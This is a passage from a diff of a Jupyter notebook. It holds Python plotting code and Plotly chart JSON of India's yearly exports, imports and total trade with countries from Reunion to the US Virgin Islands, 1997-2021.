], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT AND IMPORT Between India and Other Countries" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Total Trade" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], - "source": [ - "exp=px.line(x=df[df['Country']==country.index[60]]['Year(start)'], y=df[df['Country']==country.index[60]]['Export'], labels={'x': 'Year', 'y': 'Export'}, title='EXPORT')\n", - "for i in range(60,70):\n", - " exp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Export'], mode='lines', name=country.index[i])\n", - "exp.show()\n", - "\n", - "\n", - "imp=px.line(x=df[df['Country']==country.index[60]]['Year(start)'], y=df[df['Country']==country.index[60]]['Import'], labels={'x': 'Year', 'y': 'Import'}, title='IMPORT')\n", - "for i in range(60,70):\n", - " imp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Import'], mode='lines', name=country.index[i])\n", - "imp.show()\n", - "\n", - "\n", - "fig=px.line(x=df[df['Country']==country.index[60]]['Year(start)'], y=df[df['Country']==country.index[60]]['Total Trade'], labels={'x': 'Year', 'y': 'Total Trade'}, title='EXPORT AND IMPORT Between India and Other Countries')\n", - "for i in range(60,70):\n", - " fig.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Total Trade'], mode='lines', name=country.index[i])\n", - "fig.show()" - ] - }, - { - "cell_type": "code", - "execution_count": 24, - "id": "3398c969-347c-4253-9c17-460161b21dff", - "metadata": {}, - "outputs": [ - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Export=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 1.96, - 3.7, - 3.32, - 3.77, - 4.89, - 5, - 7.11, - 9.2, - 14.87, - 21.79, - 33.4, - 38.01, - 34.29, - 38.21, - 48.03, - 48.87, - 52.38, - 48.76, - 42.7, - 41.16, - 46.36, - 47.23, - 40.15, - 43.86, - 39.53 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "REUNION", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.96, - 3.7, - 3.32, - 3.77, - 4.89, - 5, - 7.11, - 9.2, - 14.87, - 21.79, - 33.4, - 38.01, - 34.29, - 38.21, - 48.03, - 48.87, - 52.38, - 48.76, - 42.7, - 41.16, - 46.36, - 47.23, - 40.15, - 43.86, - 39.53 - ] - }, - { - "mode": "lines", - "name": "U S A", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6735.4, - 7199.59, - 8395.61, - 9305.12, - 8513.34, - 10895.76, - 11490.03, - 13765.75, - 17353.06, - 18863.47, - 20731.34, - 21149.53, - 19535.49, - 25291.91, - 34741.6, - 36155.22, - 39142.1, - 42448.66, - 40336.01, - 42212.27, - 47878.48, - 52406.27, - 53088.77, - 51623.14, - 55786.38 - ] - }, - { - "mode": "lines", - "name": "UGANDA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 44.04, - 44.83, - 39.06, - 45.23, - 55.59, - 65.87, - 87.73, - 75.98, - 92.65, - 107.34, - 153.8, - 217.78, - 206.93, - 292.8, - 435.08, - 465, - 530.62, - 553.93, - 569.94, - 494.48, - 532.26, - 580.08, - 621.52, - 670.32, - 530.02 - ] - }, - { - "mode": "lines", - "name": "UKRAINE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 60.69, - 34.39, - 42.36, - 70.8, - 81.05, - 93.7, - 110.27, - 207.73, - 258.19, - 290.08, - 400.04, - 400.7, - 289.03, - 514.28, - 491.22, - 519.79, - 481.25, - 348.91, - 259.11, - 310.16, - 330.1, - 390.8, - 463.81, - 450.97, - 372.23 - ] - }, - { - "mode": "lines", - "name": "URUGUAY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 34, - 36.5, - 26.53, - 35.71, - 25.94, - 16.89, - 19.47, - 24.51, - 27.93, - 36.97, - 50.76, - 65.55, - 48.33, - 85.34, - 140.68, - 143.19, - 160.98, - 208.32, - 152.9, - 187.8, - 159.45, - 180.99, - 147.69, - 104.71, - 117.83 - ] - }, - { - "mode": "lines", - "name": "UZBEKISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 17.59, - 12.83, - 9.94, - 9.39, - 6.53, - 5.08, - 15.14, - 21.35, - 24.44, - 29.69, - 40.32, - 45.53, - 54.03, - 60.42, - 89.39, - 124.9, - 114.07, - 170.44, - 94.64, - 108.97, - 132.72, - 201.41, - 180.21, - 280.07, - 200.37 - ] - }, - { - "mode": "lines", - "name": "VANUATU REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.57, - 0.26, - 0.18, - 6.59, - 0.11, - 0.14, - 0.53, - 1.65, - 1.84, - 2.25, - 2.16, - 4.99, - 2.27, - 2.49, - 2.67, - 3.43, - 2.78, - 1.86, - 2.01, - 2.08, - 2.27, - 1.97, - 2.42, - 2.25, - 2.6 - ] - }, - { - "mode": "lines", - "name": "VENEZUELA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 22.68, - 26.34, - 23.34, - 42.29, - 55.55, - 40.54, - 21.13, - 71.97, - 94.41, - 126.08, - 142.8, - 184.51, - 183.96, - 176, - 249.72, - 234.14, - 196.96, - 258.07, - 130.65, - 62.22, - 79.21, - 164.77, - 339.71, - 557.1, - 286.21 - ] - }, - { - "mode": "lines", - "name": "VIETNAM SOC REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 126.6, - 125.43, - 154.37, - 225.9, - 218.17, - 337.39, - 410.43, - 555.96, - 690.68, - 985.69, - 1610.09, - 1738.65, - 1838.95, - 2651.44, - 3719.09, - 3967.37, - 5441.94, - 6257.88, - 5265.99, - 6786.56, - 7813.08, - 6507.38, - 5059.9, - 4999.64, - 5105.88 - ] - }, - { - "mode": "lines", - "name": "VIRGIN IS US", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.12, - 0.32, - 0.51, - 0.79, - 3.2, - 0.97, - 0.92, - 1.55, - 0.63, - 1.58, - 1.14, - 1.33, - 4.21, - 1.33, - 3.72, - 1.43, - 3.9, - 4.83, - 4.23, - 5.33, - 2.88, - 42.5, - 81.4, - 74.97, - 3.54 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Export" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Import=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 0, - 0, - 0, - 0.2, - 0.32, - 0.22, - 1.26, - 3.44, - 3.31, - 5.5, - 12.56, - 25.17, - 15.46, - 18.33, - 28.06, - 27.74, - 22.79, - 22.61, - 18.78, - 13.9, - 18.05, - 18.16, - 18.52, - 18.42, - 22.02 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "REUNION", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0.2, - 0.32, - 0.22, - 1.26, - 3.44, - 3.31, - 5.5, - 12.56, - 25.17, - 15.46, - 18.33, - 28.06, - 27.74, - 22.79, - 22.61, - 18.78, - 13.9, - 18.05, - 18.16, - 18.52, - 18.42, - 22.02 - ] - }, - { - "mode": "lines", - "name": "U S A", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3714.18, - 3640.25, - 3560.22, - 3015, - 3149.62, - 4443.58, - 5034.83, - 7001.35, - 9454.74, - 11738.24, - 21067.24, - 18561.42, - 16973.68, - 20050.72, - 23454.92, - 25204.73, - 22505.08, - 21814.6, - 21781.39, - 22307.44, - 26611.03, - 35549.48, - 35819.87, - 28888.1, - 31344 - ] - }, - { - "mode": "lines", - "name": "UGANDA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.47, - 0.33, - 2.27, - 3.07, - 1.2, - 1.97, - 2.05, - 6.6, - 2.84, - 4.76, - 15.12, - 19.32, - 13.38, - 13.64, - 18.22, - 27.4, - 33.14, - 37.69, - 45.52, - 68.93, - 56.21, - 23.06, - 33.98, - 38.59, - 47.29 - ] - }, - { - "mode": "lines", - "name": "UKRAINE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 179.74, - 135.82, - 152.63, - 130.25, - 166.88, - 194.96, - 235.15, - 538.67, - 792.39, - 996.49, - 883.5, - 1538.13, - 1593.52, - 